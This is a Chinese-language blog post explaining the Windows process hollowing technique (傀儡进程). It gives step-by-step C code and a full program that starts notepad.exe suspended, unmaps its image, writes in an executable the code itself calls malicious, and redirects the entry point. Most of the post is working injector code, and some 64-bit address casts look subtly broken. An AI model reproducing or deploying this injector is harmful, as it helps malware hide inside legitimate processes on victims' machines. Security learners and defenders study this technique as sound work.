IzayoiShiki
傀儡进程

傀儡进程

傀儡进程

工作原理

将目标的映射文件替换为指定的映射文件

流程

1.挂起目标进程

利用CreateProcess()函数挂起目标进程

1
2
3
4
5
6
7
8
9
10
11
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
LPCWSTR target = (LPCWSTR)L"target_path"; //目标进程路径

//挂起目标进程
if (!CreateProcess((char*)target, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

2.获取进程上下文

傀儡进程在替换目标进程之前,需要将进程上下文保存起来,以便最后的恢复,防止报错,可以利用GetThreadContext获取上下文

1
2
3
4
5
6
7
//获取进程上下文
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
if(GetThreadContext(pi.hThread, &ctx) == 0) {
printf("GetThreadContext failed (%d).\n", GetLastError());
return -1;
}

3.清空目标进程

为了防止空间大小不匹配,需要清空原进程内容,以便后续的注入,此处需要利用NtUnmapViewOfSection函数,可从ntdll内部获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//清空目标进程
DWORD dwProcessBaseAddress = 0;
if(ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rbx + 8), &dwProcessBaseAddress, sizeof(DWORD), NULL) == 0) {
printf("ReadProcessMemory failed (%d).\n", GetLastError());
return -1;
}
HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
if(hNtModule == NULL) {
printf("GetModuleHandle failed (%d).\n", GetLastError());
return -1;
}
NtUnmapViewOfSection pfnZwUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(hNtModule, "ZwUnmapViewOfSection");
if(pfnZwUnmapViewOfSection == NULL) {
printf("GetProcAddress failed (%d).\n", GetLastError());
return -1;
}
if(pfnZwUnmapViewOfSection(pi.hProcess, (PVOID)dwProcessBaseAddress) == 0) {
printf("Clean Process failed (%d).\n", GetLastError());
return -1;
}

4.重新分配空间

上一步中清除了原进程的空间,所以需要重新为傀儡进程分配空间,此处利用VirtualAllocEX()函数进行空间的分配。为了避免重定位相关问题,可以将傀儡进程的PE文件头的基地址作为VirtualAllocEXlpAddress参数上传

1
2
3
4
5
6
//重新分配空间
void* lpAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpAddr == NULL) {
printf("VirtualAllocEx failed (%d).\n", GetLastError());
return -1;
}

5.写入傀儡进程

先写入PE头,再按节写入进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//注入傀儡进程
//写入PE头
if(WriteProcessMemory(pi.hProcess, lpAddr, (LPCVOID)pBuf, pNt->OptionalHeader.SizeOfHeaders, NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
//写入节区
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for(dwIndex = 0; dwIndex < pNt->FileHeader.NumberOfSections; dwIndex++) {
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
if(WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress), (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
}

6.恢复现场并执行进程

将第二步中保存的上下文进行恢复,并运行挂起的进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//恢复现场
//替换PEB中的基地址
DWORD dwImageBase = pNt->OptionalHeader.ImageBase;
if(WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Rbx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
//替换入口点
ctx.Rax = dwImageBase + pNt->OptionalHeader.AddressOfEntryPoint;
if(SetThreadContext(pi.hThread, &ctx) == 0) {
printf("SetThreadContext failed (%d).\n", GetLastError());
return -1;
}
ResumeThread(pi.hThread);

整体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <malloc.h>

//Process Hollowing
int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
LPCWSTR target = (LPCWSTR)L"C:\\Windows\\System32\\notepad.exe"; //目标进程路径

//挂起目标进程
if (!CreateProcess((char*)target, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

PTCHAR myPro = (PTCHAR)L"C:\\Users\\Administrator\\Desktop\\myPro.exe"; //恶意进程路径
HANDLE hFile = CreateFile(myPro, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("OpenFile failed (%d).\n", GetLastError());
return -1;
}
DWORD dwsize = GetFileSize(hFile, NULL);
LPBYTE pAllocPE = NULL;
PBYTE pBuf = (PBYTE)malloc(dwsize);
DWORD dwRead = 0;
ReadFile(hFile, (LPVOID)pBuf, dwsize, &dwRead, NULL);
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pBuf + pDos->e_lfanew);

//获取进程上下文
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
if(GetThreadContext(pi.hThread, &ctx) == 0) {
printf("GetThreadContext failed (%d).\n", GetLastError());
return -1;
}

//清空目标进程
DWORD dwProcessBaseAddress = 0;
if(ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rbx + 8), &dwProcessBaseAddress, sizeof(DWORD), NULL) == 0) {
printf("ReadProcessMemory failed (%d).\n", GetLastError());
return -1;
}
HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));
if(hNtModule == NULL) {
printf("GetModuleHandle failed (%d).\n", GetLastError());
return -1;
}
NtUnmapViewOfSection pfnZwUnmapViewOfSection = (NtUnmapViewOfSection)GetProcAddress(hNtModule, "ZwUnmapViewOfSection");
if(pfnZwUnmapViewOfSection == NULL) {
printf("GetProcAddress failed (%d).\n", GetLastError());
return -1;
}
if(pfnZwUnmapViewOfSection(pi.hProcess, (PVOID)dwProcessBaseAddress) == 0) {
printf("Clean Process failed (%d).\n", GetLastError());
return -1;
}

//重新分配空间
void* lpAddr = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpAddr == NULL) {
printf("VirtualAllocEx failed (%d).\n", GetLastError());
return -1;
}

//注入傀儡进程
//写入PE头
if(WriteProcessMemory(pi.hProcess, lpAddr, (LPCVOID)pBuf, pNt->OptionalHeader.SizeOfHeaders, NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
//写入节区
LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIndex = 0;
for(dwIndex = 0; dwIndex < pNt->FileHeader.NumberOfSections; dwIndex++) {
pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
if(WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress), (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
}

//恢复现场
//替换PEB中的基地址
DWORD dwImageBase = pNt->OptionalHeader.ImageBase;
if(WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Rbx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL) == 0) {
printf("WriteProcessMemory failed (%d).\n", GetLastError());
return -1;
}
//替换入口点
ctx.Rax = dwImageBase + pNt->OptionalHeader.AddressOfEntryPoint;
if(SetThreadContext(pi.hThread, &ctx) == 0) {
printf("SetThreadContext failed (%d).\n", GetLastError());
return -1;
}
ResumeThread(pi.hThread);

printf("PID: %d", pi.dwProcessId);
free(pBuf);
return 0;
}

参考文章

1.傀儡进程技术实现 - 吾爱破解 - 52pojie.cn

2.Process Hollowing(傀儡进程) - 思泉 | Jev0n

如有侵权请告知,我会及时删除文章

Author:IzayoiShiki
Link:http://izayoishiki.github.io/2024/11/19/傀儡进程/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可